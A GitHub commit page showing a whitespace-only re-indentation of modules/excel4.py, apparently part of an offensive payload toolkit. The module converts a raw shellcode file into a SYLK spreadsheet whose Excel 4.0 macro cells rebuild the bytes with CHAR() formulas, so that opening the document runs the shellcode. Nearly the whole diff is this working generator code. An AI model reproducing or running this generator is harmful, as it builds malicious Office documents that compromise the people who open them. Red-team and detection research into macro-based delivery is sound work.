Skip to content

Commit 69a0d1b

Browse files
daniruizX0RW3LL
authored andcommitted
1 parent f3235c5 commit 69a0d1b

1 file changed

Lines changed: 23 additions & 23 deletions

File tree

modules/excel4.py

Lines changed: 23 additions & 23 deletions
Original file line numberDiff line numberDiff line change
@@ -6,7 +6,7 @@
66
# http://www.irongeek.com/i.php?page=videos/derbycon8/track-3-18-the-ms-office-magic-show-stan-hegt-pieter-ceelen
77

88
def bytes2int(str):
9-
return int(str.encode('hex'), 16)
9+
return int(str.encode('hex'), 16)
1010

1111
SHELLCODE_HEADER = """ID;P
1212
O;E
@@ -25,28 +25,28 @@ def bytes2int(str):
2525
"""
2626

2727
def generate_slk(shellcode_path):
28-
return build_shellcode_slk(shellcode_path)
28+
return build_shellcode_slk(shellcode_path)
2929

3030
def build_shellcode_slk(shellcode_path):
31-
#print("[*] Building shellcode exec SLK")
31+
#print("[*] Building shellcode exec SLK")
3232

33-
slk_output = SHELLCODE_HEADER
34-
with open(shellcode_path, "rb") as f:
35-
byte = f.read(1)
36-
i = 0
37-
cell=0
38-
while byte != "":
39-
if i == 0:
40-
cell=cell+1
41-
slk_output+=("C;X2;Y%s;K0;E" % (str(cell)))
42-
else:
43-
slk_output+=("&")
44-
slk_output+=("CHAR(" + str(bytes2int(byte)) + ")")
45-
byte = f.read(1)
46-
i+=1
47-
if i == 20:
48-
slk_output+=("\n")
49-
i = 0
50-
cell=cell+1
51-
slk_output+=("\nC;X2;Y%s;K0;ERETURN()\nE\n" % (str(cell)))
52-
return slk_output
33+
slk_output = SHELLCODE_HEADER
34+
with open(shellcode_path, "rb") as f:
35+
byte = f.read(1)
36+
i = 0
37+
cell=0
38+
while byte != "":
39+
if i == 0:
40+
cell=cell+1
41+
slk_output+=("C;X2;Y%s;K0;E" % (str(cell)))
42+
else:
43+
slk_output+=("&")
44+
slk_output+=("CHAR(" + str(bytes2int(byte)) + ")")
45+
byte = f.read(1)
46+
i+=1
47+
if i == 20:
48+
slk_output+=("\n")
49+
i = 0
50+
cell=cell+1
51+
slk_output+=("\nC;X2;Y%s;K0;ERETURN()\nE\n" % (str(cell)))
52+
return slk_output

0 commit comments

Comments
 (0)